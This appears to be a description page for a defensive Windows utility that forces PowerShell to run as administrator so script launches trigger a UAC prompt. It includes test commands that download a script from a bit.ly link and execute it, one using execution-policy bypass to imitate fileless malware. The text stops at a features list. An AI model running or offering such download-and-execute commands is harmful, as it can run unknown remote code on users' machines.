This install will force Powershell.exe to "Run as Administrator" every time causing a UAC pop-up asking to run as Administrator privileges or denying it.
It's a simple way to monitor invocation of scripts from some rogue/hack attempts that uses default powershell.exe command to launch scripts. Clever and recent Powershell malware download there own builds of the poweshell.exe.
The following image of malware is an example is from Trend Micro "Security 101: The Rise of Fileless Threats that Abuse PowerShell" will not work, it will force the UAC pop-up upon using install this.
 |
A code snapshot of macro malware that uses “^” for command shell obfuscation. (using this script will force UAC pop-up)
|
You can test it for yourself, run this command in Powershell ISE
(New-Object System.Net.WebClient).DownloadFile('https://bit.ly/Readkeyps1',"$env:temp\Readkey.ps1"); & "$env:temp\Readkey.ps1" -u
it will run and wait for a key to be pressed. https://bit.ly/Readkeyps1 downloads Readkey.ps1
Or this command past into choose Windows Start->RUN (simulate use by malware)
cmd.exe /c powershell.exe -executionpolicy bypass -command "(New-Object System.Net.WebClient).DownloadFile('http://bit.ly/Readkeyps1',\"$env:temp\Readkey.ps1\"); & \"$env:temp\Readkey.ps1\" -u"
-WindowStyle Hidden is removed because it would hide the input key Powershell window.
After install of this script, you'll get UAC pop-up (see image below).
Also run a script from CMD line will not run, because the ".\" (current directory) will no be passed correctly. For example, powershell .\Readkey.ps1
will fail from any other directory that C:\windows and 2 directories below.
PowerShell running as Admin
Setting Privileged Level is not accessible otherwise via Properties window in these default Windows 10+ directories;
- x64 DIRECTORY - C:\Windows\System32\WindowsPowerShell\v1.0\
- x32 DIRECTORY - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\
 |
| In Windows 10, the Compatibility tab is not available |
This utility has the following features; 
